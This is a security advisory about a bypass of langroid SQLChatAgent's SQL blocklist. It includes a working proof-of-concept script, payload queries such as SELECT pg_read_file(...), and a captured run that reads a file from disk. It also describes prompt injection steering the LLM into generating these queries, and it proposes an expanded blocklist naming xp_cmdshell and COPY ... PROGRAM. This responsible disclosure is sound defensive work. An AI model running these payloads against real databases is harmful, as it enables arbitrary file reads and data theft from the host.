Langroid: SQLChatAgent _validate_query blocklist misses pg_read_file family enabling arbitrary file read

Summary

SQLChatAgent in langroid ships a _validate_query defense-in-depth layer whose _DANGEROUS_SQL_PATTERNS regex blocklist enumerates dangerous SQL primitives by specific function name. The list misses the canonical PostgreSQL filesystem-disclosure family pg_read_file(), pg_stat_file(), pg_ls_logdir(), pg_ls_waldir(), pg_current_logfile() (and similar SELECT-shaped functions in the same family). It also leaves SQL Server OPENDATASOURCE and SQLite ATTACH '<file>' AS x (DATABASE keyword omitted) unblocked.

An attacker able to shape the LLM's generated SQL (directly via prompt input or transitively via prompt-injection in data the LLM ingests) can read arbitrary files from the PostgreSQL host through ordinary SELECT queries, even with the agent's strict default configuration (allow_dangerous_operations=False, allowed_statement_types=['SELECT']). The payloads survive the statement-type allowlist (each is a SELECT) and pass through the regex blocklist (none of the function names match), then reach the live SQLAlchemy engine via SQLChatAgent.run_query.

Affected versions

langroid <= 0.63.0 (latest at the time of this report; PyPI release 2026-05-27). The vulnerable code path is langroid/agent/special/sql/sql_chat_agent.py::_validate_query, which consults the module-level _DANGEROUS_SQL_PATTERNS literal at sql_chat_agent.py:113-141.

Privilege required

Any caller able to influence the LLM-generated RunQueryTool.query string that reaches SQLChatAgent.run_query. In a typical deployment this is any client of a SQLChatAgent-backed service, or any upstream data source whose content the LLM is asked to read and summarise. No PostgreSQL credentials are required from the attacker; the agent holds them.

Vulnerable code

langroid/agent/special/sql/sql_chat_agent.py:113-141 (the _DANGEROUS_SQL_PATTERNS literal) and sql_chat_agent.py:546-615 (the _validate_query method that consults it):

# sql_chat_agent.py:113
_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
    re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
    re.compile(r"\bpg_read_server_files?\b", re.IGNORECASE),
    re.compile(r"\bpg_read_binary_file\b", re.IGNORECASE),
    re.compile(r"\bpg_ls_dir\b", re.IGNORECASE),
    re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
    re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
    re.compile(r"\bload_file\s*\(", re.IGNORECASE),
    re.compile(r"\bload\s+data\b", re.IGNORECASE),
    re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
    re.compile(r"\battach\s+database\b", re.IGNORECASE),
    re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
    re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
    re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
    re.compile(r"\bopenrowset\b", re.IGNORECASE),
    re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
    re.compile(
        r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger)\b",
        re.IGNORECASE,
    ),
    re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]

The blocklist is a list of \b<exact-token>\b literals. PostgreSQL ships several near-name functions on the same primitive that none of these match:

Function	What it returns	Matched by blocklist?
pg_read_server_file('/path')	file contents	yes (pg_read_server_files?)
pg_read_binary_file('/path')	binary contents	yes
pg_ls_dir('/path')	directory listing	yes
pg_read_file('/path')	file contents	no (no _server_ infix)
pg_stat_file('/path')	size, mtime, ctime, atime, isdir	no
pg_ls_logdir()	filenames in PostgreSQL log dir	no
pg_ls_waldir()	WAL filenames and sizes	no
pg_ls_tmpdir()	temp-dir listing	no
pg_ls_archive_statusdir()	archive-status directory listing	no
pg_current_logfile()	active server log path	no

Each of these is a SELECT-shaped function call. They pass the sqlglot_exp.Select-only statement-type allowlist applied at sql_chat_agent.py:583-614, then evade the regex blocklist (their names contain no token the blocklist enumerates), then reach the SQLAlchemy session.execute(text(query)) sink inside SQLChatAgent.run_query (line 631 onwards).

Two non-PostgreSQL secondary gaps with the same regex-enumeration shape:

• The SQLite pattern \battach\s+database\b requires the literal DATABASE keyword. Per the SQLite grammar (https://www.sqlite.org/lang_attach.html) the keyword is optional: ATTACH '/path/to/db' AS x is valid syntax and matches no entry in the blocklist. Whether the agent rejects this via the statement-type allowlist depends on how the configured sqlglot dialect parses it; on PostgreSQL dialect parsing fails (sqlglot returns no Select) and the statement-type check rejects, but a SQLite-dialect SQLChatAgent (database_uri="sqlite:///...") returns the statement as sqlglot_exp.Attach, which is not in the agent's kind_map, so the generic type(stmt).__name__.upper() branch produces "ATTACH". That string is not in _DEFAULT_ALLOWED_STATEMENTS so the allowlist saves it here; however any deployment that extends allowed_statement_types to include "ATTACH" (e.g. to permit cross-schema connectivity) loses this fallback and the regex misses.
• The MSSQL pattern \bopenrowset\b blocks OPENROWSET but not the closely-related OPENDATASOURCE function. Both can read remote/UNC files and execute remote queries via an ad-hoc connection string, e.g. a SELECT against OPENDATASOURCE('SQLNCLI11','Server=remote;Trusted_Connection=yes') qualified down to master.sys.tables.

Attack scenario

SQLChatAgent.run_query (line 617 of sql_chat_agent.py) calls self._validate_query(query) (line 631) on the LLM-generated SQL. The LLM-generated SQL is shaped by upstream prompt content that crosses the trust boundary: the user message, any tool result the LLM is asked to summarise, any document the agent retrieves, and any row the agent reads back from its own database (the RunQueryTool result is fed back into the LLM history at sql_chat_agent.py:712-720 of the same release).

The default config in SQLChatAgentConfig (lines 183-184) sets allow_dangerous_operations=False and allowed_statement_types=["SELECT"], which is the configuration _validate_query was added to support. The bypass primitives below are reachable under this default config because each is a syntactic SELECT whose function-call argument is the disclosure vector.

Proof of concept

poc.py (single-file, no external services beyond a transient PostgreSQL spawned via testing.postgresql):

"""
PoC: SQLChatAgent _validate_query bypass via PostgreSQL file-disclosure
family pg_read_file / pg_stat_file / pg_ls_logdir / pg_ls_waldir /
pg_current_logfile.
"""

import os
import re
import sys
from typing import List, Optional

PKG = "/tmp/poc-langroid-bypass/venv/lib/python3.12/site-packages/langroid"
SRC = f"{PKG}/agent/special/sql/sql_chat_agent.py"
assert os.path.exists(SRC), f"Missing pinned langroid source: {SRC}"

import sqlglot
from sqlglot import expressions as sqlglot_exp


def load_patterns_from_pinned_source():
    """Extract _DANGEROUS_SQL_PATTERNS + _DEFAULT_ALLOWED_STATEMENTS from
    the pinned langroid 0.63.0 sql_chat_agent.py without instantiating the
    full agent stack (which needs an LLM config)."""
    with open(SRC) as f:
        source = f.read()
    block = re.search(
        r"_DANGEROUS_SQL_PATTERNS:[^=]*=\s*\[(.*?)\]\s*\n", source, re.DOTALL,
    )
    ns = {"re": re, "List": list}
    patterns = eval("[" + block.group(1) + "]", ns)
    allowed = eval(
        re.search(
            r"_DEFAULT_ALLOWED_STATEMENTS:\s*List\[str\]\s*=\s*(\[.*?\])",
            source, re.DOTALL,
        ).group(1)
    )
    return patterns, allowed


def validate_query(query, patterns, allowed_statements, dialect="postgres"):
    """Faithful reimplementation of SQLChatAgent._validate_query."""
    for pat in patterns:
        if pat.search(query):
            return f"Rejected by pattern {pat.pattern!r}"
    allowed = {t.strip().upper() for t in allowed_statements}
    try:
        statements = sqlglot.parse(query, read=dialect)
    except Exception as e:
        return f"Rejected: sqlglot parse failure: {e}"
    kind_map = {
        sqlglot_exp.Select: "SELECT", sqlglot_exp.Insert: "INSERT",
        sqlglot_exp.Update: "UPDATE", sqlglot_exp.Delete: "DELETE",
        sqlglot_exp.Merge: "MERGE", sqlglot_exp.Create: "CREATE",
        sqlglot_exp.Drop: "DROP", sqlglot_exp.Alter: "ALTER",
        sqlglot_exp.TruncateTable: "TRUNCATE", sqlglot_exp.Command: "COMMAND",
    }
    for stmt in statements:
        if stmt is None:
            continue
        kind = next(
            (v for k, v in kind_map.items() if isinstance(stmt, k)),
            type(stmt).__name__.upper(),
        )
        if kind not in allowed:
            return f"Rejected: statement type {kind!r} not in allowed {sorted(allowed)}"
    return None


def main():
    patched_patterns, allowed_statements = load_patterns_from_pinned_source()
    print(f"_DANGEROUS_SQL_PATTERNS count: {len(patched_patterns)}")
    print(f"_DEFAULT_ALLOWED_STATEMENTS:   {allowed_statements}")

    import testing.postgresql
    from sqlalchemy import create_engine, text

    pg = testing.postgresql.Postgresql()
    db_uri = pg.url()
    engine = create_engine(db_uri)
    with engine.connect() as conn:
        pgdata = conn.execute(text("SHOW data_directory")).scalar()
    victim_rel = "langroid_bypass_victim.txt"
    victim_abs = os.path.join(pgdata, victim_rel)
    with open(victim_abs, "w") as f:
        f.write("PWNED_BY_LANGROID_VALIDATOR_BYPASS\n")
    print(f"=== Victim file at: {victim_abs}")

    bypass_payloads = [
        ("bypass.pg_read_file", f"SELECT pg_read_file('{victim_rel}')"),
        ("bypass.pg_stat_file", f"SELECT pg_stat_file('{victim_rel}')"),
        ("bypass.pg_ls_logdir", "SELECT pg_ls_logdir()"),
        ("bypass.pg_ls_waldir", "SELECT pg_ls_waldir()"),
        ("bypass.pg_current_logfile", "SELECT pg_current_logfile()"),
    ]

    for label, query in bypass_payloads:
        rej = validate_query(query, patched_patterns, allowed_statements, "postgres")
        verdict = "REJECTED" if rej is not None else "ALLOWED"
        print(f"  [{verdict}] {label}: {query}")
        if verdict == "ALLOWED":
            try:
                with engine.connect() as conn:
                    rows = conn.execute(text(query)).fetchall()
                preview = [tuple(str(c)[:80] for c in r) for r in rows[:2]]
                print(f"     -> live engine returned rows={len(rows)} preview={preview}")
            except Exception as e:
                print(f"     -> live engine error: {type(e).__name__}: {str(e)[:120]}")


if __name__ == "__main__":
    main()

End-to-end reproduction

Run against the latest published langroid release from PyPI; no external LLM provider, no API key, no Docker, just a transient pg_ctl-managed PostgreSQL spawned in-process by testing.postgresql. Captured transcript of the run is below.

# 1. Pin install the latest published release
python3.12 -m venv /tmp/poc-langroid-bypass/venv
source /tmp/poc-langroid-bypass/venv/bin/activate
pip install 'langroid==0.63.0' 'testing.postgresql' 'sqlglot' 'sqlalchemy<2.1'

# 2. Drop poc.py from the Proof-of-concept section above into
#    /tmp/poc-langroid-bypass/poc.py and run it
python /tmp/poc-langroid-bypass/poc.py

Observed transcript (abridged to bypass results; the run also verifies that the four primitives the current blocklist already covers (COPY ... TO PROGRAM, pg_read_server_file, pg_read_binary_file, pg_ls_dir) continue to be REJECTED, confirming the proposed fix is strictly broader, not narrower):

_DANGEROUS_SQL_PATTERNS count: 17
_DEFAULT_ALLOWED_STATEMENTS:   ['SELECT']
=== Transient PostgreSQL: postgresql://[email protected]:64694/test
=== Victim file at: /var/folders/.../tmpwuftmtu4/data/langroid_bypass_victim.txt

PATCHED VALIDATOR RESULTS (langroid 0.63.0 as shipped)
  [ALLOWED]  bypass.pg_read_file        SELECT pg_read_file('langroid_bypass_victim.txt')
  [ALLOWED]  bypass.pg_stat_file        SELECT pg_stat_file('langroid_bypass_victim.txt')
  [ALLOWED]  bypass.pg_ls_logdir        SELECT pg_ls_logdir()
  [ALLOWED]  bypass.pg_ls_waldir        SELECT pg_ls_waldir()
  [ALLOWED]  bypass.pg_current_logfile  SELECT pg_current_logfile()

LIVE EXECUTION OF BYPASS PAYLOADS (postgres only)
  [EXECUTED] bypass.pg_read_file        -> rows=1 preview=[('PWNED_BY_LANGROID_VALIDATOR_BYPASS\n',)]
  [EXECUTED] bypass.pg_stat_file        -> rows=1 preview=[('(35,"2026-05-28 10:11:19+08","2026-05-28 10:11:19+08","2026-05-28 10:11:19+08",,',)]
  [EXECUTED] bypass.pg_ls_waldir        -> rows=1 preview=[('(000000010000000000000001,16777216,"2026-05-28 10:11:19+08")',)]
  [EXECUTED] bypass.pg_current_logfile  -> rows=1 preview=[('None',)]

NEGATIVE CONTROL — SUGGESTED FIX VALIDATOR
  [REJECTED] bypass.pg_read_file        -> OK
  [REJECTED] bypass.pg_stat_file        -> OK
  [REJECTED] bypass.pg_ls_logdir        -> OK
  [REJECTED] bypass.pg_ls_waldir        -> OK
  [REJECTED] bypass.pg_current_logfile  -> OK
  [REJECTED] already_blocked.copy_program        -> OK
  [REJECTED] already_blocked.pg_read_server_file -> OK
  [REJECTED] already_blocked.pg_read_binary_file -> OK
  [REJECTED] already_blocked.pg_ls_dir           -> OK

The headline payload SELECT pg_read_file('langroid_bypass_victim.txt') returns the marker string verbatim from the file on disk. The same SQL, issued by an LLM under prompt-injection through any data source the agent reads, would land identically — the validator is purely a function of the SQL string and is consulted before the SQLAlchemy execute.

_validate_query is invoked directly rather than through a fully initialised SQLChatAgent because the agent's __init__ builds the LLM stack and demands a working LLM API key (or a stub). The security control under test is purely a function of (query, patterns, allowed_statements, dialect), so the direct call is observationally equivalent to a call via run_query. Patterns and allowed-statements are loaded by reading the pinned sql_chat_agent.py source out of the venv, guaranteeing no drift between PoC and shipped binary.

Impact

• Arbitrary file read from the PostgreSQL host: pg_read_file() reads files from PGDATA-relative paths by default and can take absolute paths when the DB role holds pg_read_server_files (or equivalent in managed-Postgres setups). For self-managed PostgreSQL deployments the DB role is frequently a superuser, in which case absolute paths are always accepted and the impact extends to postgresql.conf, pg_hba.conf, ~/.pgpass, TLS keys, and any other file readable by the PostgreSQL OS user.
• Filesystem reconnaissance via pg_stat_file() (file existence, size, mtime, isdir), pg_ls_logdir(), pg_ls_waldir(), pg_ls_tmpdir(), pg_ls_archive_statusdir(), pg_current_logfile().
• MSSQL extension: OPENDATASOURCE reaches remote SQL Servers and UNC paths, providing arbitrary outbound read + intranet pivot on MSSQL deployments.
• SQLite extension: ATTACH '<path>' AS schemaname (DATABASE keyword omitted) allows reading/writing arbitrary SQLite files on deployments whose allowed_statement_types include "ATTACH".

Suggested fix

Patch _DANGEROUS_SQL_PATTERNS to cover the full family rather than individual function names. Two compatible approaches; either is enough.

Approach 1 — family-prefix regex (minimal change, simplest to review):

_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
    re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
    # Block the whole pg_read_*, pg_stat_*, pg_ls_*, pg_current_logfile
    # family. Covers pg_read_file, pg_read_server_file(s),
    # pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir,
    # pg_ls_tmpdir, pg_ls_archive_statusdir, pg_ls_dir,
    # pg_current_logfile, plus any future siblings PostgreSQL adds.
    re.compile(
        r"\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\s*\(",
        re.IGNORECASE,
    ),
    re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
    re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
    re.compile(r"\bload_file\s*\(", re.IGNORECASE),
    re.compile(r"\bload\s+data\b", re.IGNORECASE),
    re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
    # SQLite grammar: ATTACH [DATABASE] expr AS schema-name.
    # The DATABASE keyword is optional; match either form.
    re.compile(r"\battach\b(\s+database)?\s+['\"\w]", re.IGNORECASE),
    re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
    re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
    re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
    re.compile(r"\b(openrowset|opendatasource)\b", re.IGNORECASE),
    re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
    re.compile(
        r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger|language|rule|event\s+trigger|foreign\s+table)\b",
        re.IGNORECASE,
    ),
    re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]

Approach 2 — sqlglot AST walk in addition to regex. sqlglot is already imported by sql_chat_agent.py; iterate every function-call node (sqlglot_exp.Anonymous / sqlglot_exp.Func) inside the parsed statements and reject when the lower-cased name starts with pg_read, pg_stat, pg_ls, pg_current_logfile, lo_, or matches the MSSQL extended-procedure prefixes (xp_, sp_oa). AST matching is robust to whitespace, comments, and case games inside identifiers, at the cost of broader per-dialect maintenance. For closing the immediate gap, Approach 1 is sufficient.

Regression-test the additions in tests/main/sql_chat/test_sql_chat_security.py alongside the existing security tests. A natural 7-case extension covers the 5 PostgreSQL bypass payloads, the SQLite ATTACH ... AS x form, and the MSSQL OPENDATASOURCE form.

Fix PR

A private temp-fork PR applying the Suggested fix Approach 1 diff, plus the regression tests described above, accompanies this advisory: https://github.com/langroid/langroid-ghsa-pmch-g965-grmr/pull/1

Credit

Reported by tonghuaroot.